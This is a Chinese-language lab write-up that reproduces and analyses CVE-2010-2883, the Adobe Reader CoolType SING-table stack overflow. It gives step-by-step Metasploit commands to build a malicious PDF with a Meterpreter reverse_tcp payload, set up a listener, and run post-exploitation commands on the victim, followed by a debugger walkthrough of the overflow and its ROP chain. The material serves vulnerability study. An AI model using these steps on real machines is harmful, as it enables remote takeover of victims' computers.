1、漏洞概述CVE-2010-2883漏洞原理:“Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行。 2、漏洞复现与分析环境Kali Linux + Windows 7 sp1 +Windows xp sp3 控制机:Kali Linux (ip:192.168.131.132) 靶机:Windows 7 sp1 (ip:192.168.131.132) 软件:Adobe Reader 9.3.exe、OllDbg、IDA Pro、PdfStreamDumper 3、实验流程一、复现过程: 分别查看kali linux和win7的ip地址(如图一): Kali: Win7:  图一:kali系统与Windows系统的IP地址 ①进入Kali Linux,使用Metasploit生成PDF文件搜索Adobe攻击模块 (如图二) msf > search adobe_cooltype_sing  图二:搜索Adobe攻击模块 调用攻击模块 (如图三) msf > use exploit/windows/fileformat/adobe_cooltype_sing/ 查看模块详情 (如图三) msf exploit(adobe_cooltype_sing) > info  图三:调用攻击模块与查看模块详情 调用meterpreter载荷,反向连接到靶机机 (如图四) msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 设置Kali Linux的IP地址 (如图四) msf exploit(adobe_cooltype_sing) > set LHOST 192.168.131.132 设置本地监听端口 (如图四) msf exploit(adobe_cooltype_sing) > set LPORT 8888 设置带有后门程序的PDF文件 (如图四) msf exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf  图四:配置相关要求 执行exploit生成攻击文件 (如图五) msf exploit(adobe_cooltype_sing) > exploit  图五:生成攻击文件 ②将生成的文件拷贝至Kali Linux桌面(如图六) root@kali:~# cp /root/.msf4/local/PINGINGLAB.pdf /root/Desktop/PINGINGLAB.pdf  图六 ③Metasploit开启shell监听会话,等待肉鸡上线 使用handler监听模块 msf > use exploit/multi/handler  回弹一个tcp连接 (如图八) msf exploit(handler) > set payload windows/met erpreter/reverse_tcp
设置监听IP地址(如图八) msf exploit(handler) > set LHOST 192.168.131.140 设置监听的端口 (如图八) msf exploit(handler) > set LPORT 8888 开启监听 (如图八) msf exploit(handler) > exploit 图八 ④在Windows 7安装Adobe Reader 9.3(如图九)  图九:在Windows7系统中安装Adobe Reader 9.3 ⑤将kali中生成的PDF文件拷贝到Windows 7并打开(如图十)  图十 ⑥Metasploit获取shell会话,并用Meterpreter控制肉鸡查看系统信息 meterpreter > sysinfo  查看当前用户 (如图十一) meterpreter > getuid  图十一:查看当前用户 截屏 (如图十二) meterpreter > screenshot   图十二 获取进程 (如图十三) meterpreter > ps
图十 三:获取进程 获取Dos Shell (如图十四) meterpreter > shell 
图十四:获取反弹shell 二:逆向分析过程 1.漏洞成因 CoolType.dll在解析SING表中的uniqueName时存在栈溢出漏洞。 2.漏洞分析
1. 查看源代码,找到可以被利用的漏洞。(如图一)  图一:cooltype.dll的栈溢出代码点 2. 利用PdfStreamDumper导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save Decompressed Streams保存到本地。在保存的文件中能看到TableEntry数据结构。再用IDA反汇编cooltype.dll的代码,找到具体的溢出代码处(如图二)。   官方文档对TableEntry结构的定义 typedef sturct_SING { char tag[4];//"SING" ULONG checkSum;//校验和 ULONG offset;//相对文件偏移 ULONG length;//数据长度 } TableEntry;    图二:溢出代码处 3. 打开Adobe Reader软件,利用OllyDbg附加到此进程,按下alt+e,进入程序所调用的模块空间,看到CoolType.dll模块(如图三)。  图三:找到cooltype.dll进程 4. 进入CoolType.dll模块,对照着在IDA中反汇编所看到的漏洞位置0x803DDAB,在ollydbg中按下ctrl+g,输入0x803DCA4,跳转到漏洞位置,并下断点。由图可知,如果uniqueName域超过正常大小,那么将破环这个函数的堆栈造成溢出,精心构造的数据可以控制程序的EIP执行任意代码。(如图五)   图五:跳转到漏洞位置并下断点 5. 打开msf.pdf文件,点击运行,程序会自动断到上面的断点位置,此时栈分布如图六。 图六 6.在内存区域中按下ctrl+g,跳转到0x12E4D8,并设置内存访问断点(如图七)。  图七 7.一直按F9运行,往断点位置写数据时会多次在内存断点位置停下来。然后多次ctrl+F9之后程序返回到用户空间(如图八)。  图八 8. 继续逐步运行程序,在call函数时步入,逐步运行,运行到0x808B308的时候就会看到程序下一步要跳转到0x4A80CB38的位置(即ROP链的位置),最终跳到ROP链中(如图九)。  |